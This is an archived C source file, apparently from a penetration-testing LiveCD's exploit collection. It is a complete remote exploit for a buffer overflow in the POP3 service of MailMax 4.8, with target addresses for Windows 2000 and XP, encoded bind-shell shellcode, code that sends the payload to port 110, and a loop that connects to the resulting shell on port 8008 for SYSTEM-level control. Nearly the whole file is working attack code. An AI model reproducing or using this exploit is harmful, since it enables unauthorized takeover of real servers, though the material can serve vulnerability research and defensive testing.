home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mailmax / mmaxexp.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  10.2 KB  |  241 lines

  1. /*
  2.  
  3.     mmaxexp.c
  4.  
  5.     July 20th, 2002
  6.  
  7.  
  8.  
  9.     SmartMax MailMax Standard/Professional 4.8
  10.  
  11.     http://www.smartmax.com
  12.  
  13.     
  14.  
  15.     an overflow is present in the USER argument of
  16.  
  17.     the pop3max daemon.. however, we do not get eip..
  18.  
  19.     but with buffers of various sizes we can get
  20.  
  21.     eax, ecx, and edx.. edx being the most useful as
  22.  
  23.     shown below..
  24.  
  25.     
  26.  
  27.     CALL [EDX+0C] @RVA413A08
  28.  
  29.  
  30.  
  31.     so now we just need to drop the rva of our shell
  32.  
  33.     that we'd like to call into memory somewhere 
  34.  
  35.     (-0C of course)..see CALL
  36.  
  37.  
  38.  
  39.     YAY!@$!
  40.  
  41.     
  42.  
  43.     2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)        
  44.  
  45. */
  46.  
  47.     
  48.  
  49. #include <stdio.h>
  50.  
  51. #include <string.h>
  52.  
  53. #include <sys/types.h>
  54.  
  55. #include <sys/socket.h>
  56.  
  57. #include <netinet/in.h>
  58.  
  59. #include <arpa/inet.h>
  60.  
  61. #include <netdb.h>
  62.  
  63. #include <sys/errno.h>
  64.  
  65. #include <unistd.h>
  66.  
  67.  
  68.  
  69. /* Windows 2000 Professional/Server */
  70.  
  71. char EDX2k[]  = "\x30\xd7\x68\x06";
  72.  
  73. char CALL2k[] = "\xec\xd9\x68\x06";
  74.  
  75.  
  76.  
  77. /* Windows XP Professional */
  78.  
  79. char EDXxp[]  = "\x30\xd7\x25\x06";
  80.  
  81. char CALLxp[] = "\xec\xd9\x25\x06";
  82.  
  83.  
  84.  
  85. /* we repeat the payload ptr on every */
  86.  
  87. /* dword prior to our target rva in   */
  88.  
  89. /* order to increase those sexy odds  */
  90.  
  91.  
  92.  
  93. char shell[2205];
  94.  
  95.  
  96.  
  97. char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";
  98.  
  99.  
  100.  
  101. char payload[] ="\x55\x8b\xec"
  102.  
  103.         "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
  104.  
  105.         "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
  106.  
  107.         "\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"
  108.  
  109.         "\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"
  110.  
  111.         "\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"
  112.  
  113.         "\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"
  114.  
  115.         "\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"
  116.  
  117.         "\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"
  118.  
  119.         "\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"
  120.  
  121.         "\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"
  122.  
  123.         "\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"
  124.  
  125.         "\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"
  126.  
  127.         "\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"
  128.  
  129.         "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"
  130.  
  131.         "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"
  132.  
  133.         "\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"
  134.  
  135.         "\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"
  136.  
  137.         "\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"
  138.  
  139.         "\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"
  140.  
  141.         "\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"
  142.  
  143.         "\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"
  144.  
  145.         "\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"
  146.  
  147.         "\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"
  148.  
  149.         "\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"
  150.  
  151.         "\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"
  152.  
  153.         "\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"
  154.  
  155.         "\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"
  156.  
  157.         "\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"
  158.  
  159.         "\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"
  160.  
  161.         "\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"
  162.  
  163.         "\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"
  164.  
  165.         "\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"
  166.  
  167.         "\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"
  168.  
  169.         "\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"
  170.  
  171.         "\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"
  172.  
  173.         "\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"
  174.  
  175.         "\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"
  176.  
  177.         "\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"
  178.  
  179.         "\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"
  180.  
  181.         "\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"
  182.  
  183.         "\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"
  184.  
  185.         "\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"
  186.  
  187.         "\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"
  188.  
  189.         "\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"
  190.  
  191.         "\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"
  192.  
  193.         "\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"
  194.  
  195.         "\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"
  196.  
  197.         "\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"
  198.  
  199.         "\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"
  200.  
  201.         "\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"
  202.  
  203.         "\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"
  204.  
  205.         "\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"
  206.  
  207.         "\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"
  208.  
  209.         "\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"
  210.  
  211.         "\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"
  212.  
  213.         "\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"
  214.  
  215.         "\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"
  216.  
  217.         "\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"
  218.  
  219.         "\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"
  220.  
  221.         "\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"
  222.  
  223.         "\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"
  224.  
  225.         "\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"
  226.  
  227.         "\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"
  228.  
  229.         "\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"
  230.  
  231.         "\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"
  232.  
  233.         "\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"
  234.  
  235.         "\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"
  236.  
  237.         "\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"
  238.  
  239.         "\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"
  240.  
  241.         "\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"
  242.  
  243.         "\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"
  244.  
  245.         "\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"
  246.  
  247.         "\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"
  248.  
  249.         "\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"
  250.  
  251.         "\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"
  252.  
  253.         "\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  254.  
  255.         "\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"
  256.  
  257.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  258.  
  259.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  260.  
  261.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  262.  
  263.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  264.  
  265.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  266.  
  267.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  268.  
  269.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  270.  
  271.         "\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"
  272.  
  273.         "\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  274.  
  275.         "\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"
  276.  
  277.         "\x0d\x0a";
  278.  
  279.  
  280.  
  281. main(char argc, char **argv){
  282.  
  283.         int fd, i, opt;
  284.  
  285.         int bufsize = 1024;
  286.  
  287.         int *buffer = (int *)malloc(bufsize);
  288.  
  289.         struct sockaddr_in sin;
  290.  
  291.         struct hostent *he;
  292.  
  293.         struct in_addr in;
  294.  
  295.  
  296.  
  297.     printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");
  298.  
  299.     printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");
  300.  
  301.  
  302.  
  303.         if (argc < 4){
  304.  
  305.                 printf("usage: %s <hostname> -t <type>\n\n", argv[0]);
  306.  
  307.                 printf("types: 0 - Windows 2000 Professional/Server\n");
  308.  
  309.                 printf("       1 - Windows XP Professional\n\n");
  310.  
  311.                 exit(-1);
  312.  
  313.         }
  314.  
  315.  
  316.  
  317.         while ((opt = getopt(argc, argv, "t:"))){
  318.  
  319.             switch(opt){
  320.  
  321.                 case 't':
  322.  
  323.              if(optarg[0] == '0'){
  324.  
  325.                  strcpy(shell, header);
  326.  
  327.                  for(i = 1;i < 247;i++){
  328.  
  329.                      strcat(shell, CALL2k);
  330.  
  331.                  }
  332.  
  333.                  strcat(shell, EDX2k);
  334.  
  335.                  strcat(shell, payload);
  336.  
  337.                  break;
  338.  
  339.              }
  340.  
  341.              
  342.  
  343.              if(optarg[0] == '1'){
  344.  
  345.                  strcpy(shell, header);
  346.  
  347.                  for(i = 1; i < 247;i++){
  348.  
  349.                      strcat(shell, CALLxp);
  350.  
  351.                  }
  352.  
  353.                  strcat(shell, EDXxp);
  354.  
  355.                  strcat(shell, payload);
  356.  
  357.                  break;
  358.  
  359.              }
  360.  
  361.                          
  362.  
  363.                          printf("invalid type\n\n");
  364.  
  365.                          printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");
  366.  
  367.                          printf("       1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");
  368.  
  369.                          exit(-1);
  370.  
  371.                 }
  372.  
  373.                 break;
  374.  
  375.         }
  376.  
  377.  
  378.  
  379.         if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
  380.  
  381.  
  382.  
  383.         if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
  384.  
  385.         else
  386.  
  387.         if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}
  388.  
  389.  
  390.  
  391.         sin.sin_family = AF_INET;
  392.  
  393.         sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
  394.  
  395.         sin.sin_port = htons(110);
  396.  
  397.  
  398.  
  399.         printf("connecting to tcp port 110 (POP3)...\n");
  400.  
  401.         if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
  402.  
  403.  
  404.  
  405.         printf("connected.\n\n");
  406.  
  407.      sleep(1);
  408.  
  409.         printf("dumping payload...");
  410.  
  411.         if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
  412.  
  413.     printf("done\n");
  414.  
  415.     printf("code dumped.\n\n");
  416.  
  417.  
  418.  
  419.         close(fd);
  420.  
  421.  
  422.  
  423.         if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
  424.  
  425.  
  426.  
  427.         sin.sin_family = AF_INET;
  428.  
  429.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  430.  
  431.         sin.sin_port = htons(8008);
  432.  
  433.  
  434.  
  435.         printf("connecting to tcp port 8008... (wait 3s)\n");
  436.  
  437.         sleep(3);
  438.  
  439.         if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}
  440.  
  441.         printf("success! izn0wnz3rat3d!\n\n");
  442.  
  443.  
  444.  
  445.         while(1) {
  446.  
  447.                 fd_set input;
  448.  
  449.  
  450.  
  451.                 FD_SET(0,&input);
  452.  
  453.                 FD_SET(fd,&input);
  454.  
  455.                 if((select(fd+1,&input,NULL,NULL,NULL))<0) {
  456.  
  457.                         if(errno==EINTR) continue;
  458.  
  459.                         printf("connection reset\n"); fflush(stdout);
  460.  
  461.                         exit(1);
  462.  
  463.                 }
  464.  
  465.                 if(FD_ISSET(fd,&input))
  466.  
  467.                         write(1,buffer,read(fd,buffer,bufsize));
  468.  
  469.                 if(FD_ISSET(0,&input))
  470.  
  471.                         write(fd,buffer,read(0,buffer,bufsize));
  472.  
  473.         }
  474.  
  475.  
  476.  
  477.         close(fd);
  478.  
  479.  
  480.  
  481. }